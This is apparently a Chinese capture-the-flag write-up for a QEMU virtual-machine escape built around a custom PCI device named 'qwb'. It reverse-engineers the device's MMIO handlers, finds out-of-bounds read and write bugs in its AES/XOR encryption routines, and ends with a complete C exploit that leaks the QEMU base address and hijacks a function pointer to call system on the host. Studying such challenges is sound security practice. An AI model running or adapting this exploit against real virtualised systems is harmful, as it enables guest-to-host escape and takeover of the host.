保护绿
环境我也不知道他当时给的多少的
我反正用的20.04
缺点库
sudo apt-get update #更新一下索引包
sudo apt-get install libgfapi0
然后剩下几个手动下载
具体流程可以参考一下
史上最硬核的Linux依赖问题
大概就是找到网站,手动下载安装包,然后dkpg安装
启动脚本
#!/bin/bash
./qemu-system-x86_64 -initrd ./rootfs.cpio -nographic -kernel ./vmlinuz-5.0.5-generic -L pc-bios/ -append "priority=low console=ttyS0" -device qwb -monitor /dev/null
设备叫qwb
函数并不多
qwb_class_init函数拿到id
realize看到注册了mmio,大小0x100000
整个设备的结构体
mmio_write还是比较简单的
mmio_read
函数比较麻烦
考虑了一下还是放图分析吧
主要是用addr来进行功能的选择
addr 0
addr 1
addr 2
addr 3
addr 4
addr 5
addr 6
addr 7
addr 8
addr 9
addr 10
其他
首先重点放在读上
我们发现
这里read在数组都填满的时候可以越界把后面的内容都带出来
做到越界读。
然后我们把目光看向上面那一堆乱七八糟加密里面
首先我们总结一下加密
就addr为5 6 7 8 的时候对应分别给两个指针赋值
9 10 的时候要创建线程
再次分开分析
aes_encrypt_function
我们发现最后会把校验值贴到output后面
其中v7是我们output的长度
所以这里其实是能造成越界写的。
aes_decrypto_function
同样也有越界写的问题
然后
这个就比较敷衍了
居然其实是一个函数
似乎就是一个异或
好像用处不大
然后看创建线程
一眼就看出来
就是分别调用crypto.decrypt crypto.encrypt两处的函数
所以我们这道题就分析完了
利用方式也应该比较明显了
通过任意读泄露程序基地址
得到system的plt表
劫持output下面那个函数
啊就是encrypt
在input里面写点参数
执行一下就好了
#include <assert.h>
#include <fcntl.h>
#include <inttypes.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/io.h>
uint32_t mmio_addr = 0xfea00000;
uint32_t mmio_size = 0x100000;
unsigned char* mmio_mem;
void die(const char* msg) {
perror(msg);
exit(-1);
}
void* mem_map( const char* dev, size_t offset, size_t size ) {
int fd = open( dev, O_RDWR | O_SYNC );
if ( fd == -1 ) {
return 0;
}
void* result = mmap( NULL, size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, offset );
if ( !result ) {
return 0;
}
close( fd );
return result;
}
void mmio_write(uint32_t addr, uint8_t value) {
*((uint8_t*)(mmio_mem + addr)) = value;
}
uint8_t mmio_read(uint32_t addr) {
return *((uint8_t*)(mmio_mem + addr));
}
void set_key(uint32_t offset, char c) {
mmio_write(0x1000+offset,c);
}
void set_input(uint32_t offset, char c) {
mmio_write(0x2000+offset,c);
}
void init() {
mmio_read(0);
}
void set1() {
mmio_read(2);
}
void set2() {
mmio_read(4);
}
void set3() {
mmio_read(1);
}
void set4() {
mmio_read(3);
}
void a_enc() {
mmio_read(5);
}
void a_dec() {
mmio_read(6);
}
void s_enc() {
mmio_read(7);
}
void s_dec() {
mmio_read(8);
}
void call_enc() {
mmio_read(9);
}
void call_dec() {
mmio_read(10);
}
uint8_t output(uint32_t offset) {
uint8_t result;
result = mmio_read(0x3000 + offset);
return result;
}
uint64_t leak_qword() {
uint64_t leak = 0, tmp;
uint32_t i;
for (i = 0; i < 6; i ++) {
tmp = output(0x800 + i);
tmp = tmp << (i * 8);
leak = leak + tmp;
}
return leak;
}
int main(int argc, char *argv[])
{
//将mmio给mmap出来
system( "mknod -m 660 /dev/mem c 1 1" );
mmio_mem = mem_map( "/dev/mem", mmio_addr, mmio_size );
if ( !mmio_mem ) {
die("mmap mmio failed");
}
printf("mmio_mem @ %p\n", mmio_mem);
//将input,key填满,做两次异或,泄露函数地址
init();
set1();
int i;
for (i=0; i<=0x7ff; i++) {
set_input(i,'a');
}
set2();
set3();
for (i=0; i<=0x7ff; i++) {
set_key(i, 'b');
}
set4();
s_enc();
s_dec();
call_enc();
sleep(1);
//getchar();
uint64_t leak_pro_addr = leak_qword();
uint64_t pro_base = leak_pro_addr - 0x4D2A20;
uint64_t system_addr = pro_base + 0x2ADF80;
printf("leaking_addr: 0x%lx\n", leak_pro_addr);
printf("system_plt_addr: 0x%lx\n", system_addr);
//先把system拿进去计算一次,拿到aes加密后的结果
init();
set1();
for (i=0; i<=0x7ff-8; i++) {
set_input(i,'a');
}
for (i=0; i<8; i++) {
set_input(0x7f8+i,((uint8_t*)&system_addr)[i]^'a');
}
set2();
set3();
for (i=0; i<0x10; i++) {
set_key(i, '\x01');
}
set4();
a_enc();
call_enc();
sleep(1);
uint8_t enc_data[2048];
for(i=0; i<2048; i++) {
enc_data[i] = output(i);
}
//再丢进去解密,达到越界写控制劫持指针为system的效果
init();
set1();
for (i=0; i<0x800; i++){
set_input(i, enc_data[i]);
}
set2();
set3();
for (i=0; i<0x10; i++) {
set_key(i, '\x01');
}
set4();
a_dec();
call_dec();
sleep(1);
//最后写上字符串
init();
set1();
//char *payload = "cat /root/flag";
char *payload = "gnome-terminal";
for (i=0; i< strlen(payload); i++){
set_input(i, payload[i]);
}
//触发漏洞
set2();
set3();
set4();
call_enc();
sleep(1);
return;
}